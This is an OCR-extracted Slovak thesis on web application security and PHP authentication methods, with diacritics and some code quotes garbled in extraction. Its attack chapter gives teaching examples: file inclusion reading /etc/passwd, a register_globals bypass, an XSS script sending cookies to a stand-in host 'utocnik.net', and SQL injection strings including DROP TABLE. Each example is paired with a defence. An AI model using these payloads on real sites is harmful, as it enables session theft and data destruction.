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Abstrakt

T4to praca sa zaobera bezpeénostou webovych aplikicii a riadenim pristupu v nich. Popisuje
problematiku bezpecnosti aplikdcii v prostredi WWW a bezpecnostné prvky, pomocou
ktorych moéZeme tieto systémy zabezpecit. Venuje sa taktieZ moznym ttokom na tieto
aplikacie. Podrobnejsie sa venuje metédam autentizacie a validacie za pouzitia jazyka PHP
a popisuje vyhody a nevyhody jednotlivych rieseni z hladiska bezpe¢nosti a pouzitelnosti.
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Abstract

This thesis deals with security of web based applications and their access controlling. The
work describes security of applications in WWW environment and security elements that
help us to secure those systems against possible attacks. Authentication methods used in
PHP applications are described in more detailed way with their advantages and disadvan-
tages with consideration on security and usability.

Keywords
PHP, web based applications, security, security of web based applications, authentication,
authorization, access control
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Kapitola 1

Uvod

Celosvetova siet Internet zaziva v poslednom desatroci velky rozmach. Bezpochyby na tom
mé najvacsiu zasluhu sluzba World Wide Web, ktora je najznamejSou a najpouzivanejSou
sluzbou Internetu v sti¢asnosti. Oproti pociatku, ked mali webové stranky iba jednoduchy
a zvicsa iba informativny charakter, sa v dnesnej dobe na , web“ presivaju rozne riadia-
ce a informacné systémy, ktoré spracovavaju Coraz vécsie objemy dat, ktoré maju neraz
velki hodnotu pre dant spolo¢nost. Z tohoto dovodu je potrebné venovat vaésiu pozornost
zabezpeceniu tychto systémov proti réoznym skodlivym utokom a aby boli pristupné iba
povolenym prvkom.

Autentizdcia sa vyzaduje vo vSetkych oblastiach, kde by v pripade neautorizovanému
pristupu vznikla neziaduca skoda. Ako priklad si mozeme zobrat systém bankomatov, kde
karta, ktort mé uzivatel, jednoznaéne uréuje tiéet, z ktorého budeme éerpat a PIN overuje ¢i
mé pouzivatel pravo vyberaf peniaze. Dalsi priklad mézeme vidiet v mobilnych telefénoch,
kde PIN taktiez uréuje, ¢ ma uzivatel pravo pouzivat dand SIM kartu.

Zabezpecenie v prostredi Internetu ma zvacsa rovnaku podobu ako zabezpecenie zari-
adeni z redlneho sveta a teda napriklad prihlasovaci systém vyzaduje od uzivatela jed-
noznaént identifikdciu a overenie, ¢ mé pravo do systému vstiipit. Ale tak ako moze niekto
doslova odniest bankomat, tak moze titoénik ziskat pozadované ddta inou cestou ako je
reguldrne prihldsenie, a teda zadto¢if moze na rézne miesta v systéme. Preto je potrebné
zabezpecit vietky prvky, ktoré by mohli byt potenciondlne zneuzité k itoku. Ako priklad si
mozeme zobrat e-banking, kde je povoleny pristup iba oprdvnenej osobe (pomocou prihlaso-
vacieho mena a hesla), komunikdcia je Sifrovand (HTTPS), aby tito¢nik nemohol odchytit
prendsané data. Zo strany klienta sa pocita so zabezpefenim internetového prehliadaca
a pocitaca. Zo strany servera je to zasa rozne zabezpecenie v8etkych potrebnych prvkov
ako je napriklad webovy server alebo databaza.

1.1 Ciel préace

Cielom tejto prace je predstavif problematiku bezpecnosti aplikdcii v prostredi WWW,
vysvetlit rozne bezpeénostné rizikd ako aj moznosti zabezpeéenia tychto systémov. Dalsou
tlohou je popisat rozne metédy autentizicie a riadenia pristupu vo webovych aplikdciach
s pouzitim jazyka PHP, rozlisif ich vyhody a nevyhody so zameranim na bezpeénost
a pouzitelnost tychto metdd.



1.2 Rozvrhnutie kapitol

V nasledujticej kapitole su popisané zakladné pojmy ako subjekt, objekt, autentizacia, au-
torizacia, webovéd aplikdcia, PHP a riadenie pristupu, ktoré ndm slizia na lepsie pochopenie
celého zmyslu tejto préce.

Tretia kapitola sa venuje bezpecnosti vo webovych aplikdcidch, popisu roznych bezpec-
nostnych prvkov, ktoré sa pouzivaju na zabezpecenie webovych systémov, ich vyznam, ako
aj rozne moznosti napadnutia tychto systémov.

V stvrtej kapitole popisujem najcastejsie utoky na samotné webové aplikdcie, ako napri-
klad utoky na komunikaciu, alebo rézne nedostatky aplikacie. Takisto sa venuje aj sposobom
branenia proti tymto ttokom.

Piata kapitola sa snaz{ opisat jednotlivé metédy autentizdcie vo webovom prostredi za
pouzitia roznych technolégii spolu s vyhodami a nevyhodami tychto metéd zameranych
predovsetkym na bezpecénost a pouzitelnost.

V siestej kapitole sa nachddza zhrnutie zakladnych pravidiel bezpeénosti, ktorymi by sa
mali vyvojari riadit pri navrhovani aplikdcie. Ndsledne sa venujem popisu niekolkych zasad
pre vyvoj za pomoci jazyka PHP.

Siedma kapitola popisuje implementaciu zvolenej metédy a jej celkovi funkénost.



Kapitola 2
Zakladné pojmy

Na zaciatku si je potrebné ozrejmit niektoré zdkladné pojmy, aby bola zadand problematika
lepsie pochopiteln4 a dalo sa v nej bez problémovo orientovat.

2.1 Subjekt a objekt

Pod pojmom subjekt budeme rozumiet akykolvek prvok v systéme, napriklad osobu, pro-
gram alebo zariadenie, ktory chce vykonat uréiti akciu nad objektom alebo s pouzitim
objektu.

Objekt je sluzba, data alebo funkcionalita reprezentujica prvok ku ktorému pristupuju
subjekty s roznym ticelom.

2.2 Autentizacia

Autentizdcia je proces overenia identity subjektu, ktory sa snaz{ pristupovat do zabezpece-
ného systému. Priklady mozeme vidiet v redlnom Zivote, ako je prihlasovanie do e-bankingu,
zabezpecenie virtualnych obchodov, pristup do roznych informaénych systémov atp. Takéto
aplikdcie by mali vediet rozlisit, kto je tento systém opravneny pouzivat a kto nie. Pristup
je zvycajne kontrolovany autentiza¢nou procedirou, ktord vytvara urcity stupen dovery
objektu, teda pridelenie prav pre danu identifikaciu.

Nie je vsak mozné hovorif o urcitej autentizécii, pretoze ziadny pocitaé, pocitacovy
program alebo pouzivatel nemdze s urcitostou potvrdit identifikdciu druhej strany. Jedinou
moznostou je aplikovat urcitd sadu testov, ktord dopredu oznaéime za dostatoéni pre
uznanie autenticity. Problém vSak nastdva pri urcovani ktoré z tychto testov si adekvatne
a ktoré nie. Vlastnd autentizdcia moze prebiehat na roznych tirovniach. Viac informécii na

[7]-

2.3 Autorizacia

Autorizécia je proces rozhodovania o tom, ¢ mé subjekt opravnenie na pristup k urcitému
objektu. Vicsinou sa autorizacia riesi na aplikacnej tirovni. Samotné rozhodnutie zavisi na
vopred urcenych privilégidch daného prvku, ktoré si obvykle ulozené v nejakej databaze.



2.4 Webova aplikacia

Webové aplikdcie su aplikdcie spristupnené uzivatelovi pomocou webového prehliadaca cez
pocitacovi siet, ako napriklad Internet. Popularita tychto aplikdcii je umocnens tym, ze
webovy prehliadac¢, taktiez nazyvany ako tenky klient, sa nachiddza na drvivej vacSine
poéitacov. Hlavnou vyhodou je, Ze proces idrzby tohto softwaru nie je zatazeny instalovanim
updatov, resp. tplnou reinstaldciou aplikdcie u potencidlne velkého mnozstva klientov. [3]
Nevyhodou sa stdva prenos informécii cez siet, ktoré takto mozu byt odchytené alebo
pozmenené, ale aj pouzitie prehliadaca ako d’alsieho prvku obsahujiceho bezpecnostné
chyby. Komunikaciu prehliadaca a aplikacie zabezpecuje webovy server.

2.5 Webovy server

Webovy server je z pohladu hardvéru poéitaé, ktory prijma HTTP poziadavky od klientov
a vracia im HTTP odpovede spolu s pozadovanymi datami, ¢o st zvycajne samotné webové
strdnky, ako napriklad HTML dokumenty spolu s dalsimi objektmi (rézne multimédia,
atp.).

Z pohladu softvéru je to program, ktory poskytuje vyssie uvedenu funkcionalitu s moz-
nostou sirokej konfigurovatelnosti a podporou réoznych modulov.

2.6 Webovy prehliadac

Prehliadac je softvérova aplikdcia, ktord slizi na zobrazovanie webovych stranok zlozenych

z textu, obrazkov a inych multimédii. Zvycajne prebieha komunikacia v zmysle posielania
poziadavok webovému serveru, ktory na tieto poziadavky odpoveda webovymi strankami,
ktoré si nasledne zobrazené uzivatelovi. Prehliadace st obvykle pouzivané na pristup k WWW,
¢casty je vsak aj pristup k webovym serverom v privatnych sietach.

2.7 PHP

PHP (PHP: hypertext pre-processor) je programovaci jazyk umoznujici proceduralne a ob-
jektovo orientované programovanie dynamickych webovych stranok. Zvycajne bezi ako
modul na webovom serveri, kde zo vstupného zdrojového kédu vytvori webovi stranku ako
vystup. Moze byt pouzité takmer na vietkych webovych serveroch a opera¢nych systémoch.

2.8 Riadenie pristupu

Riadenie pristupu je schopnost povolit alebo zakdzat pouzitie urcitého objektu nejakym
subjektom na zaklade autentizdcie a autorizacie.

V sicasnosti sa zvycajne pouzivaju dva sposoby riadenia pristupu. Prva metdda je
zaloZend na schopnosti subjektu preukdzat urcity kli¢, ktory opraviuje vlastnika k pristupu
do systému. Druhym sposobom je tzv. ACL (access control list), ¢o je vlastne zoznam
subjektov a ich prav k jednotlivym objektom.

Techniky riadenia pristupu sa delia do dvoch kategérii: povinné a nepovinné.

Nepovinné riadenie pristupu znamena, ze objekt ma pristupové prava uréené svojim
vlastnikom. Vlastnik urcuje, kto je opravneny k pristupu k objektu a aké ma préava.



Pri povinnom riadeni pristupu uréuje pristupové prava objektu systém a nie vlastnik.
Téato technika sa pouziva v systémoch, kde maji subjekty rozne trovne pristupovych préav.

[0]



Kapitola 3
Bezpecnost webovych aplikacii

Vyvoj webovych aplikacii je vcelku odlisny od ostatnych prostredi. Internetovy prehliadac
a protokol HTTP nie st sti¢astou beznych klient-server aplikdcii. Vyvojéri internetovych
aplikdcif musia vedief ako pracuje webovy server, ako s nim komunikuje internetovy prehli-
ada¢ a poznat vlastnosti internetovej komunikdcie a mozné titoky na vlastné aplikicie na
internete.

Na zabezpecenie aplikacie nestaci bezpeény komunikaény kandl. Aj skidseni softvérovi
vyvojari mézu nevedomky vytvorif webovi aplikdciu, ktord umoZnuje pristup zo siete
k stiborom na serveri, ziskat hesld, informacie o uzivateloch alebo dokonca zmenit aplikdciu
samotnd, aj napriek tomu, ze je server zabezpeceny. [3]

Je vsak nutné dodat, ze absoltitna (100%) bezpetnost je iba méta, ku ktorej sa mozeme
priblizit, avsak nie dosiahnut. Bezpeénost sa neds jednordzovo zaistit, ide o kontinudlnu
¢innost, ktord vyzaduje ur€ité zdroje, ¢i uz finanéné, technické alebo Iudské.

Bezpeénost je potrebné vnimat v dvoch rovindch — ako technické a ako organizacné
opatrenia. Ludsky faktor je vidy jednym z najvacsich rizik, ktoré sa ned4 osetrif technickym
opatrenim.

Vyvoj bezpetnostnych technologii neustale napreduje, rovnako tak aj mozné hrozby.
Preto je prakticky nemozné zaobstarat technolégiu, ktora bude bez d'alsich zdsahov niekolko
rokov odolna voc¢i dtokom z internetu. Nepochybne budu ¢asom zverejnené rozne opravy,
zéplaty apod., ktoré bude nutné nainstalovat. Je mozné ocakivat dpravy samotnej we-
bovej aplikdcie, moze sa stat, ze vyrobca niektorej pouzitej komponenty (WWW server,
databdzovy server) prestane podporovat nami prevadzkovani verziu atd. Vsetky tieto
a podobné skutoénosti budd prakticky neustdle znamenaf dodatoéné niroky na zdroje,
a to aj v pripade, ze aplikacia nebude rozsirovana v oblasti svojej funkénosti.

V sticasnej dobe vsak existuju aj titoky, pred ktorymi sa prakticky ned4 branit. DDoS
utok (Distributed Denial of Service) spoc¢iva v zahlteni serveru alebo jednej konkrétnej
sluzby enormnym poé¢tom poziadaviek az z niekolych stoviek uzlov ovlddanych tdtoénikom
(préve distribuovanost tohto titoku ztazuje jeho filtrovanie a odhalenie ito¢nika). Cielom
takého ttoku vécsinou nie je ovlddnutie servera ¢i ziskanie dét, velmi negativne nésledky
méva uz samotnd nedostupnost sluZieb, ktoré server poskytuje.



3.1 Prvky bezpecnosti

3.1.1 Komunikacia

Spolahlivou metédou ako zabranit odpoétivaniu komunikacie vo webovych aplikdciach medzi
klientom a serverom je pouzitie Sifrovaného kanalu (HTTP over SSL). Pri tomto zabezpeceni
utoénik poznd zlozitost §ifrovacieho algoritmu a uvedomuje si, Ze jeho prelomenie by mu
mohlo trvat aj niekolko rokov. Tym paddom nebude 1tocit na samotny algoritmus.

V tomto pripade je pre ttoénika jednoduchsie vytvorit si svoj vlastny Sifrovany kandl, ¢o
ide v pripade protokolu HTTPS vyrazne ztazit pouzitim tzv. klientskych SSL certifikdtov.
Velkou chybou je, Ze vo viésine pripadov je pouzité bezné HTTPS spojenie, ktoré moze so
serverom naviazat prakticky ktokolvek.

3.1.2 Webovy server

Kazdy WWW server je ,iba“ softvér (vo vicsine pripadov dokonca pomerne dost rozsiah-
ly) a aj napriek snahe vyrobcu je potrebné ocakdvat, ze obsahuje chyby, ktoré mozu mat
vyznamny dopad na jeho bezpeénost. O pravdivosti tohoto tvrdenia nds niekolko rokov
utvrdzuje postupné zverejnovanie bezpecnostnych chyb prakticky vo vSetkych znamych
WWW serveroch. Pre ilustraciu: chyba v Microsoft IIS, ktoru zneuziva virus CodeRed pre
svoje §frenie, existuje v tomto programe uz 5 rokov a pravdepodobnost, Ze v danom WWW
serveri bude eSte aspon jedna takato fatdlna chyba, hrani¢i takmer s istotou. Nejednd sa
vsak iba o problém zmieneného serveru, podobne treba uvazovat aj u inych aplikdcii. [2]

Vyssie uvedeny problém ja v mnohych pripadoch naviac umocneny nie prili§ dobrym
navrhom architektiry samotného WWW serveru, ktory casto celkom zbytoc¢ne bezi s vyso-
kymi privilégiami (root, system, administrator), alebo je dokonca integrovany do samotného
opera¢ného systému, ¢o iba nasobi pripadné nasledky zneuzitia pritomnej bezpecnostnej
chyby.

3.1.3 Webovy prehliadac

Prehliadac je klientska aplikacia, ktord sliizi na zobrazovanie webovych stranok a odosielanie
poziadaviek na webovy server. Ked'ze je web najrozsirenejSou sluzbou na internete, je pre-
hliada¢ éastym teréom roznych titokov, pri ktorych moze dojst az k vypisu obsahu paméte
utoc¢nikovi a naslednym ziskanim skor neziaducich dat.

3.1.4 Webova aplikacia

Bezpectnostné problémy nédjdeme najcastejSie v samotnych webovych aplikacidach. Pri ne-
dostatoénom ndvrhu a pouzit{ dynamickych stranok (ASP, PHP, Perl atd.), moze aj bezny
uzivatel s internetovym prehliadac¢om pri troche experimentovania s parametrami v URL
dosiahnut neocakavané vysledky, ako napriklad pristup k cudzim ddtam. Dalsou hlavnou
bezpecénostnou chybou pri ndvrhu je nedostatoéna kontrola vstupov od uzivatela z webovych
formuldrov. Ked'ze je kazda takito aplikdcia unikétna pre konkrétneho prevadzkovatela, je
velmi obtiaZne tieto slabiny odhalovat. Tu sa rozhodne oplati nepodceiovat nielen dokladné
testy funkénosti, ale aj zdfazové testy, penetraéné testy, alebo nezdvisly audit zdrojového
kédu.



Kapitola 4

Ijtoky

Tato kapitola sa venuje popisu moznych utokov na rézne informaéné systémy.

4.1 Utok na komunikaciu

Utok na komunikdciu moze prebiehat na viacerych miestach medzi klientom a serverom,
preto je potrebné zabezpecit komunikaény protokol. Medzi zdkladné metédy titokov patri
odpocivanie, prerusenie komunikacie, podvrhnutie identity a modifikdcia spravy. [/]

4.1.1 Odpocuavanie

Odpocuvanie komunikacie patri medzi zékladné druhy dtoku na komunikaciu. Utoénik ziska
nepovoleny pristup ku komunikécii a ddtam. K tomuto typu ttoku nepatri len snaha ziskat
d4ta, ale aj samotné heslo, ktorym sa uzivatel autorizuje na serveri a ktoré sa zvicsa posiela
ako Cisty text.

4.1.2 PreruSenie komunikacie

Tento tok nastéva, ked sa titoénikovi podari znemoznit dorucenie spravy. Prikladom moze
byt prerusenie komunika¢ného spoja. Pouziva sa zvicsa vtedy, ak chce itoénik znemoznit
komunikaciu so serverom.

4.1.3 Podvrhnutie identity

Utocnik sa moze pokisit vytvorit spravu s falosnou identitou odosielatela. Podvrhnutie
identity je podmienené sledovanim jednej zo strdn, aby bolo mozné vierohodne napodobit
identitu tejto strany. Nevyhodou je zloZitost oproti modifikicii existujticej spravy.

4.1.4 Modifikacia spravy

Pri tomto type dtoku mus{ itoénik spravu najprv zachytit, ndsledne ju pozmenit a potom
zase odoslaf k cielu. Prijemca tak dostane spravu, ktori vytvorila a vyslala autorizovana
strana, ale v priebehu prenosu doslo k nejakému zasahu do jej obsahu.
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4.2 Zneuzitie bezpecnostnych chyb aplikacie

Vyvojari webovych aplikécii musia ddvat velky pozor na bezpeénostné chyby, pretoze tieto
aplikacie si nachylnejsie na tatok oproti aplikdciam normélnym. Zneuzitie tychto chyb patri
medzi najpouzivanejsie utoky na webové aplikacie. Medzi najcastejSie zneuzivané chyby
patri nekontrolovanie vstupu uzivatela, pouZivanie neinicializovanych premennych, cross-
site skriptovanie alebo ochrana session.

4.2.1 Nekontrolovanie vstupu od uzivatela

Vsetky data ziskané od uzivatela by mali byt pred pouzitim skontrolované. Aplikdcia
musi byt pripravend &elit chybnym vstupnym datam spésobenych bud nahodou chybou
uzivatela, alebo zdmernou chybou titoénikom, ktory sa snazi preniknit do aplikécie. Sposoby;,
ktorymi sa do aplikdcie dostavaji déta od uzivatela (data, ktoré moze menit):

e obsah webového formulara
e URL adresa poziadavky
e cookies
e HTTP hlavicky
Priklad 1 Ziskanie lubolného siboru zo servera
Predpokladajme, ze mame skript, ktory generuje webové stranky na zaklade vstupnych
tdajov od uzivatela. Obsah stranky naéita zo stiboru uréeného pomocou premennej stranka,
ktoru ziska z URL adresy. K obsahu stranky sa doplni zdhlavie a zapéatie. Jednotlivé stranky
sa tak volaji pomocou adresy http://www.test.sk/index.php?stranka=uvod.inc.
. zadhlavie stranky v HTML ...
<?
include $_GET[’stranka’];
7>
. zapatie stranky v HTML ...
Ak vsak utoénik zadd URL http://www.test.sk/index.php?stranka=/etc/passwd,
dostane sa tak k neziaducim datam. RieSenim je kontrola vstupnych dat, t.j. v tomto pripade
kontrola premennej stranka na povolené hodnoty, ktorymi su stranky, ktoré chceme zobra-

zovat nasim skriptom.

Dalsie pripady nedokonalej kontroly vstupnych dat, ktoré povoluji napriklad XSS alebo
SQL injection, su popisané v samostatnych podcastiach.
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4.2.2 Pouzivanie neinicializovanych premennych

Niektoré jazyky, ktoré sa pouzivaji na tvorbu webovych aplikacii, automaticky nacitavaju
data z poziadavky do premennych, ktoré pouzivame v aplikicii (napriklad starsie verzie
PHP). To znamen4, Ze data zvonku mozu menit obsah neinicializovanej premennej v ap-
likacii.

Priklad 2 Blokovanie obsahu pre neautorizovanijch uZivatelov

<7
if (autorizovany()) $prihlaseny = true;

if ($prihlaseny)
{

//vykonaj verejne nepristupné opericie

7>

V tomto pripade, ak za URL pridame ?prihlaseny=1, PHP automaticky nacita pre-
mennu prihlaseny a tdto¢nik sa dostane do verejne nepristupnej oblasti. RieSenim je pocia-
tofnd inicializdcia premennej ( prihlaseny = false; ). Pre zniZenie rizika podobnych chyb
sa v novych verzidch PHP data nenacitaji automaticky do premennych, ale do Specidlnych
poli (napr. $_GET, $_POST, $_COOKIE), ktoré su spristupnené v aplikacii.

4.2.3 Cross-site skriptovanie

Cross-site skriptovanie (XSS) je typické pre webové aplikicie, ktoré nedostatoéne kontroluji
uzivatelské vstupy, a tak dovolia vloZit na stranku skodlivy kéd, ktory sa spusti pri prezerani
stranky inym uZivatelom. V prikladoch st popisané dva sposoby, ako sa tymto spésobom
d4 ziskat session-id uréitej stranky.

Priklad 3 Ziskanie session-id prendsaného v URL
Na serveri, kde st prihldseni uzivatelia, je uréitd ¢ast, kam mozu uzivatelia prispievat a &itaf
prispevky inych Tudf (diskusné férum). Utoénik méze do tohto féra vlozif odkaz na svoju
stranku. Po kliknuti na odkaz sa k uto¢nikovej stranke dostane HTTP hlavicka Referer,
ktora obsahuje celid URL predchadzajicej stranky a teda aj samotné session-id. Po ziskani
session-id moze utoénik vystupovat ako jeho obet (obet mohla mat vyssie prava a pod.).
Ochranou pred tymto titokom méze byt odkazovanie na externé odkazy z rozdielnej
URL, ktord uz session-id neobsahuje, dodato¢na kontrola session-id napriklad kontrolou IP
adresy, alebo vypnutie posielania HT'TP hlavicky Referer.
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Priklad 4 Ziskanie session-id prendsaného pomocou cookies
Uvazujme s podobnymi podmienkami ako v predchadzajicom pripade, avSak tu tutoénik
vlozi do stranky jednoduchy kéd.

<script>document.write(’<img src="http://utocnik.net/cookie?’+
document.cookie

+2">7)</script>

Tento kéd vlozi na stranku faloSny obrazok a pri dotazovani sa prehliada¢a na tento
obrazok odosle prehliadaé cookies, ktoré moéze titoénik zneuzit.

Takémuto zneuzitiu sa d4 predist podobne ako v predchidzajicom pripade a to do-
dato¢nou kontrolou IP adresy, alebo striktnejsia kontrola vstupnych dat ktora nedovoli
vkladat na stranku HTML a JavaScript kéd.

4.2.4 SQL injection

Aplikécie ¢casto vytvaraju SQL dotazy, ktoré sa dynamicky menia na zéklade vstupnych
tdajov od uzivatela. Z tohto ddévodu musime vstupné data, ktoré slizia na vytvorenie
dotazu, patri¢ne skontrolovat, aby utoénik nemohol vykondvat rozne operdcie nad databdzou.

Priklad 5 Priklad SQL injection 1

<?

$login = $_POST[’login’];
$vysledok = MYSQL_query("SELECT * FROM uzivatelia

WHERE login = ’$login’");

>

Skript vyhodnocuje podmienku v SQL dotaze a ocakdva spravnu hodnotu v premennej
login, kde sa m4 nachédzat meno prihlasujiiceho sa uzivatela. Ak vSak tto¢nik vlozi do
premennej hodnotu "abc’ OR ’1°=’1" vznikne nam SQL dotaz, ktory sice nevyhovuje
podmienke o rovnosti prihlasovacieho mena, ale vyhovie podmienke >1°="1’ a vrati vSetky
polozky v databéaze.
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Priklad 6 Priklad SQL injection 2

Rovnaky skript moéZeme napadnif inym spdsobom a snaZif sa ziskaf informécie o ndzve
tabuliek, napriklad vlozenim do formuldra hodnotu "abc’ AND 1=(SELECT COUNT(*) FROM
meno-tabulky); --". Pri Uspesnom odhade ndzvu tabulky sa ndm podari splnit pod-
mienku v dotaze a zistime tak ndzov uréitej tabulky v databdze, ktord potom mozeme
napriklad celkom zrusit, ako je zobrazené v priklade 7.

Priklad 7 Priklad SQL injection 3

Zmova, s pouzitim rovnakého skriptu ako v predchadzajucich prikladoch, mézeme do pre-
mennej login vlozit kéd, ktory by urcitym sposobom poskodil databazu. Prikladom moze
byt hodnota "x’; DROP TABLE uzivatelia; --", kde povodny dotaz sice nesplni pod-
mienku, ale za nim sa nachédza dotaz, ktory vymaze tabulku uzivatelia. Podobnych
pripadov na zneuzitie SQL injection je niekolko desiatok — od ,,neskodného® vypisu celej
tabulky, cez tpravu dat v tabulke, az po kompletné vymazanie tabulky.

Viac prikladov SQL injection mozeme néjst v ¢lanku [1].
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Kapitola 5

Metody autentizacie

V prostredi webu je pouzivanych viacero metdéd pre overenie autenticity uzivatela, ako
napriklad pomocou hardvérovych tokenov, certifikdtov alebo jednoducha autentizacia po-
mocou mena a hesla. Prave poslednd spominand metéda autentizcie (pomocou mena
a hesla) je v oblasti informaénych systémov najpouzivanejsia a prave jej sa budem ven-
ovat. Tito metédu viak mozeme implementovat do webovej aplikécie na roznych vrstvach
za pouzitia roznych technolégii, ako napriklad JavaScript, PHP apod.

5.1 Jednoducha autentizacia v JavaScripte

Ked'ze JavaScript je spracovany iba zo strany klienta, autentizdcia bude prebiehat u neho
a toho mozeme dosiahnuf dvoma sposobmi. Prvym sposobom je po zadani spravneho
pristupového mena a hesla presmerovat strdanku do inej lok4cie, kde moze uzivatel pokracovat
v praci. Druhym sposobom je naéitat celt stranku a JavaScriptom zablokovat zobrazenie,
aZ kym uzivatel nezad4 spravne meno a heslo.

Oba pristupy maji svoje vyhody, ako napriklad velmi jednoduchi implementéciu alebo
nepotrebnost serverovej podpory d’alSieho softvéru na vytvorenie takejto autentizdcie, ako
napriklad PHP alebo ASP.

Aby toto rieSenie fungovalo, je nutné pouzivat prehliada¢ s podporou JavaScriptu.
Najviésou nevyhodou je vSak minimalna bezpecnost, pretoZe v oboch pripadoch moze
itoénik jednoducho preniknit do zabezpeéeného systému a to éi uz zobrazenim zdrojového
kédu a zistenim, kam stranka odkazuje po dspesnej autentizécii, alebo jeho tpravou a teda
odstrdnenim samotnej autentizacnej procediry. Vd'aka bezstavovému charakteru komu-
nikécie medzi serverom a klientom je d’alsou nevyhodou neschopnost aplikacie overit si, ¢
uzivatel presiel autentizéciou alebo nie.

5.2 Autentizacia pomocou PHP

Najjednoduch$im moznym sposobom autentizdcie v PHP je vytvorit formuldr, po jeho
odoslani skontrolovat spravnost tidajov a v pripade splnenia vstupnych podmienok povolif
pristup k aplikdcii. Pri tomto sposobe uvazujme, ze spravne vstupné udaje si zahrnuté
v zdrojovom kode aplikacie.

Vyhodou tohto rieSenia je rychla a jednoduchd implementécia, ako aj vyssia bezpecnost,
narozdiel od hore uvedeného spoésobu pomocou JavaScriptu.
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Medzi nevyhody patri nezabezpecena komunikacia medzi klientom a aplikaciou, takze
ttoénik je schopny ziskat prihlasovacie meno a heslo jednoduchym odpoc¢tivanim komu-
nikdcie. Medzi d’alsie nevyhody patri takmer nemoznd sprava uzivatelov a neschopnost
aplikdcie overit, ¢ uzivatel presiel autentiza¢nou procedirou.

5.3 Autentizacia so zabezpecenou komunikaciou

V tomto pripade ide o podobné rieSenie ako v predchadzajicej metdde, avsak komunikécia
bude zabezpeéens sifrovanim. Toho moézeme dosiahnut pouzitim HTTPS a teda zabezpecit
cely komunika¢ny kanal vrstvou SSL.

Vyhodou je samozrejme nemoznost odpoctivania skuto¢nej komunikdcie medzi klien-
tom a serverom, nevyhodou je naopak nutnd podpora HTTPS na oboch komunikujticich
strandach.

5.4 Autentizacia s pouzitim databazy

Vd'aka databdze nam odpada nutnost ukladat prihlasovacie idaje do zdrojového kédu ap-
likcie. Ked'Ze si potrebné tidaje uloZzené v databéze, je jednoduchsie doplnif nasu aplikdciu
o spravu uzivatelov. Hesl4 sa z bezpeénostnych dovodov ukladaji do databazy zakédované
vybranym hash algoritmom, napriklad MD5 alebo SHA-1.

Vyhodou je uz spominana jednoduché sprava uzivatelov a teda rozne ipravy v databéze
nijak neovplyvinuji samotnu aplikaciu.

Nevyhodou je nutnost pristupu k niektorej z databéz, ¢ uz MySQL, MSSQL, Oracle
alebo inej, ako aj pouzitie programovacieho jazyka (napriklad PHP) pre pracu s touto
databézou. Nedostupnost databézy sa d4 vyriesit napriklad ukladanim dit do siboru, ale
praca s datami bude menej flexibilna nez v pripade pouzitia databézy.

5.5 Autentizacia pomocou PHP session

Vsetky predchadzajice metédy mali spoloéni nevyhodu v tom, ze aplikacia nebola schopnd
overif si pocas prace, ¢ uzivatel presiel autentizaénou procedirou. Na vyrieSenie tohto
problému sa v PHP vyuzivajui tzv. sessions, ktoré slizia na ukladanie roznych premennych
na strane serveru, ktoré sa pomocou jednozna¢ného identifikdtoru daji priradit k jed-
notlivym uzivatelom. Tym paddom moZeme jednoducho monitorovat, ¢i uzivatel presiel aut-
entizaciou alebo nie. Spomenuty jednoznac¢ny identifikator sa kvoli bezstavovému protokolu
mus{ prenasat medzi strankami, ¢i uz uloZzenim do cookies, alebo metédou GET, ¢o je vlastne
pripojenie danej premennej a jej hodnoty na koniec URL. Tento identifikdtor ma platnost
iba ur¢ity ¢as, aby nemohlo dojst k neskorSiemu zneuzitiu.

Pri pouziti cookies je nevyhodou nutnost pouzivat prehliada¢ s ich podporou a naopak
pri pouziti metédy GET je aplikdcie ohrozend moznostou ziskat spominany identifikdtor
z URL, &m je aplikdcia jednoduchsie napadnutelnd.

Vyhodou je samozrejme moznost kontrolovat pristup pocas prace uZivatela nielen pri
autentizdcii a ukladanie roznych uzivatelskych dét na serveri.
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5.6 HTTP autentizacia

Tento druh autentizdcie sa zabezpecuje na strane servera potrebnym nastavenim kon-
figura¢nych siborov. Pri pristupe k zabezpecenej stranke si server vyziada autentizaciu
od uzivatela. Tieto vstupné tidaje si prehliada¢ ukladd a odosiela ich pri kazdej poziadavke,
¢im sa vyvazuje bezstavovost protkolu HTTP. Takéto pripojenie trva az do zatvorenia
webového prehliadaca alebo odhldsenia (odhldsenie je vyrieSsené zadanim nespravnych prih-
lasovacich udajov).

Rychla implementécia je jednozna¢nou vyhodou oproti zloZitejsim metédam a vdaka
tomu, Ze si prehliada¢ zapaméitd vstupné tdaje, sa programator nemusi zaoberat kontrolou
uzivatela pocas prace s aplikdciou.

Medzi nevyhody patri nutnost podpory na strane klienta a servera, ako aj nevhodny
sposob odosielania prihlasovacich ddajov, ktoré sa v pripade protokolu HTTP odosielaju
Sifrované pomocou base-64 znakov. Existuji aplikdcie, ktoré dokdzu ttto Sifru desifrovaf
v redlnom c¢ase a tak nie je problém odpocivanim komunikacie ziskat prendsané udaje
a ndsledne ich degifrovat. T4to nevyhoda sa d& odstranit pomocou pouzitia protokolu
HTTPS.

5.7 Kombinacie

Vsetky vyssie uvedené metédy ndm sami o sebe nezarucia dobri pouzitelnost a bezpeénost
aplikacie, z toho dovodu sa v praxi vyuzivaju rozne kombindcie tychto metdd. Pri vSetkych
uvedenych metédach uvazujme so zabezpecenim komunikéacie pomocou SSL, aby sme predisli
utokom na komunikéciu.

5.7.1 Kombinacia PHP, databazy a metédy GET

Spojenim databézy a PHP vznikne metdda, pomocou ktorej mozeme jednoducho spravovat
a overovat uzivatelov. Déta st ulozené v databaze, ku ktorej pristupujeme pomocou PHP.
Sprava a autentizacia je takisto riadend skriptom v PHP. Na udrzanie stavovaj komunikacie
sa vyuziva PHP session a metéda GET.

Jednoduché spréva a autentizdcia uZivatelov patri medzi najvacsie vyhody tejto kom-
bindcie. Vd'aka pouzitiu metédy GET odpadé nutnost pouzivat u klienta prehliadaé s pod-
porou cookies. PHP session zabezpecuje, Ze sa rozne ddta od uzivatela neukladaji u klienta,
ale na serveri a tym sa zvysi zabezpecenie aplikécie.

Pouzitie PHP session s metédou GET vsak prindsa jednozna¢nt nevyhodu, ktorou je
ukladanie identifikditoru do URL stranky, ¢o je dovodom jednoduchsej napadnutelnosti
aplikacie. Tato nevyhoda sa vSak d4 odstranit kontrolou dalsich dét od uzivatela (napriklad
IP pocitaca, verzia webového prehliadaca, atd...) — v tomto pripade odcudzenim session id
nevznikne ziadna skoda. Dalsfmi nevyhodami je nutnost pristupu k databédze a podpora
webového serveru pre skriptovaci jazyk PHP.

